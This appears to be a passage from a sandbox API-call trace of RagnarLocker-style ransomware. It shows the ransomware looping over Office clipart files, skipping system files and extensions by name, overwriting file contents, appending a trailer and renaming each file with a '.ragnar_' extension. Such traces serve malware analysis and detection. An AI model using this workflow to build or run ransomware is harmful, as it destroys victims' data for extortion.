lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" [0084.998] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF.ragnar_FD7BD9FC" [0084.998] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.999] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1190, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152898.WMF", cAlternateFileName="")) returned 1 [0084.999] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.999] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152898.WMF" | out: lpString1="J0152898.WMF") returned="J0152898.WMF" [0084.999] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned=".WMF" [0084.999] lstrcmpiW (lpString1="J0152898.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.999] lstrcmpiW (lpString1="J0152898.WMF", lpString2="autorun.inf") returned 1 [0084.999] lstrcmpiW (lpString1="J0152898.WMF", lpString2="boot.ini") returned 1 [0084.999] lstrcmpiW (lpString1="J0152898.WMF", lpString2="bootfont.bin") returned 1 [0084.999] lstrcmpiW (lpString1="J0152898.WMF", lpString2="bootsect.bak") returned 1 [0084.999] lstrcmpiW (lpString1="J0152898.WMF", lpString2="bootmgr") returned 1 [0084.999] lstrcmpiW (lpString1="J0152898.WMF", lpString2="bootmgr.efi") returned 1 [0084.999] lstrcmpiW (lpString1="J0152898.WMF", lpString2="bootmgfw.efi") returned 1 [0084.999] lstrcmpiW (lpString1="J0152898.WMF", lpString2="desktop.ini") returned 1 [0084.999] lstrcmpiW (lpString1="J0152898.WMF", lpString2="iconcache.db") returned 1 [0084.999] lstrcmpiW (lpString1="J0152898.WMF", lpString2="ntldr") returned -1 [0084.999] lstrcmpiW (lpString1="J0152898.WMF", lpString2="ntuser.dat") returned -1 [0084.999] lstrcmpiW (lpString1="J0152898.WMF", lpString2="ntuser.dat.log") returned -1 [0084.999] lstrcmpiW (lpString1="J0152898.WMF", lpString2="ntuser.ini") returned -1 [0084.999] lstrcmpiW (lpString1="J0152898.WMF", lpString2="thumbs.db") returned -1 [0084.999] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.999] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.999] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.999] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.999] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.999] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.999] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf")) returned 0x20 [0084.999] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.000] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4496) returned 1 [0085.000] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1187, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.000] GetProcessHeap () returned 0x580000 [0085.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.000] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.001] VirtualAlloc (lpAddress=0x0, dwSize=0x1190, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.002] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.002] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.002] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1190, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1190, lpOverlapped=0x0) returned 1 [0085.003] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.003] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1190, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.003] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1190, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1190, lpOverlapped=0x0) returned 1 [0085.003] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1190, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.003] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.003] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1190, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.003] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.003] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.003] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.003] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.003] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.003] GetProcessHeap () returned 0x580000 [0085.003] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.004] CloseHandle (hObject=0xf4) returned 1 [0085.004] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" [0085.004] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF.ragnar_FD7BD9FC" [0085.004] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.004] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x812c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153047.WMF", cAlternateFileName="")) returned 1 [0085.004] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.004] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0153047.WMF" | out: lpString1="J0153047.WMF") returned="J0153047.WMF" [0085.004] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned=".WMF" [0085.004] lstrcmpiW (lpString1="J0153047.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.004] lstrcmpiW (lpString1="J0153047.WMF", lpString2="autorun.inf") returned 1 [0085.004] lstrcmpiW (lpString1="J0153047.WMF", lpString2="boot.ini") returned 1 [0085.004] lstrcmpiW (lpString1="J0153047.WMF", lpString2="bootfont.bin") returned 1 [0085.005] lstrcmpiW (lpString1="J0153047.WMF", lpString2="bootsect.bak") returned 1 [0085.005] lstrcmpiW (lpString1="J0153047.WMF", lpString2="bootmgr") returned 1 [0085.005] lstrcmpiW (lpString1="J0153047.WMF", lpString2="bootmgr.efi") returned 1 [0085.005] lstrcmpiW (lpString1="J0153047.WMF", lpString2="bootmgfw.efi") returned 1 [0085.005] lstrcmpiW (lpString1="J0153047.WMF", lpString2="desktop.ini") returned 1 [0085.005] lstrcmpiW (lpString1="J0153047.WMF", lpString2="iconcache.db") returned 1 [0085.005] lstrcmpiW (lpString1="J0153047.WMF", lpString2="ntldr") returned -1 [0085.005] lstrcmpiW (lpString1="J0153047.WMF", lpString2="ntuser.dat") returned -1 [0085.005] lstrcmpiW (lpString1="J0153047.WMF", lpString2="ntuser.dat.log") returned -1 [0085.005] lstrcmpiW (lpString1="J0153047.WMF", lpString2="ntuser.ini") returned -1 [0085.005] lstrcmpiW (lpString1="J0153047.WMF", lpString2="thumbs.db") returned -1 [0085.005] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.005] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.005] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.005] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.005] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.005] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.005] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf")) returned 0x20 [0085.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.006] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=33068) returned 1 [0085.006] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8123, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.006] GetProcessHeap () returned 0x580000 [0085.006] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.006] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.008] VirtualAlloc (lpAddress=0x0, dwSize=0x812c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.008] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.008] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.008] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x812c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x812c, lpOverlapped=0x0) returned 1 [0085.009] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.010] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x812c, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.010] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x812c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x812c, lpOverlapped=0x0) returned 1 [0085.010] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x812c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.010] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.010] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x812c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.010] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.010] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.011] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.011] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.011] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.011] GetProcessHeap () returned 0x580000 [0085.011] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.011] CloseHandle (hObject=0xf4) returned 1 [0085.011] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" [0085.011] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF.ragnar_FD7BD9FC" [0085.011] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.012] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x778, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153087.WMF", cAlternateFileName="")) returned 1 [0085.012] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.012] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0153087.WMF" | out: lpString1="J0153087.WMF") returned="J0153087.WMF" [0085.012] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned=".WMF" [0085.012] lstrcmpiW (lpString1="J0153087.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.012] lstrcmpiW (lpString1="J0153087.WMF", lpString2="autorun.inf") returned 1 [0085.012] lstrcmpiW (lpString1="J0153087.WMF", lpString2="boot.ini") returned 1 [0085.012] lstrcmpiW (lpString1="J0153087.WMF", lpString2="bootfont.bin") returned 1 [0085.012] lstrcmpiW (lpString1="J0153087.WMF", lpString2="bootsect.bak") returned 1 [0085.012] lstrcmpiW (lpString1="J0153087.WMF", lpString2="bootmgr") returned 1 [0085.012] lstrcmpiW (lpString1="J0153087.WMF", lpString2="bootmgr.efi") returned 1 [0085.012] lstrcmpiW (lpString1="J0153087.WMF", lpString2="bootmgfw.efi") returned 1 [0085.012] lstrcmpiW (lpString1="J0153087.WMF", lpString2="desktop.ini") returned 1 [0085.012] lstrcmpiW (lpString1="J0153087.WMF", lpString2="iconcache.db") returned 1 [0085.012] lstrcmpiW (lpString1="J0153087.WMF", lpString2="ntldr") returned -1 [0085.012] lstrcmpiW (lpString1="J0153087.WMF", lpString2="ntuser.dat") returned -1 [0085.012] lstrcmpiW (lpString1="J0153087.WMF", lpString2="ntuser.dat.log") returned -1 [0085.012] lstrcmpiW (lpString1="J0153087.WMF", lpString2="ntuser.ini") returned -1 [0085.012] lstrcmpiW (lpString1="J0153087.WMF", lpString2="thumbs.db") returned -1 [0085.012] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.012] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.012] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.012] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.012] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.012] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.012] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf")) returned 0x20 [0085.013] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.013] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1912) returned 1 [0085.013] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x76f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.013] GetProcessHeap () returned 0x580000 [0085.013] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.013] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.014] VirtualAlloc (lpAddress=0x0, dwSize=0x778, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.015] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.015] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.015] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x778, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x778, lpOverlapped=0x0) returned 1 [0085.015] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.015] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x778, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.015] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x778, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x778, lpOverlapped=0x0) returned 1 [0085.015] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x778, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.015] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.015] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x778, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.015] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.015] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.016] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.016] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.016] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.016] GetProcessHeap () returned 0x580000 [0085.016] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.016] CloseHandle (hObject=0xf4) returned 1 [0085.016] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" [0085.016] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF.ragnar_FD7BD9FC" [0085.016] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft 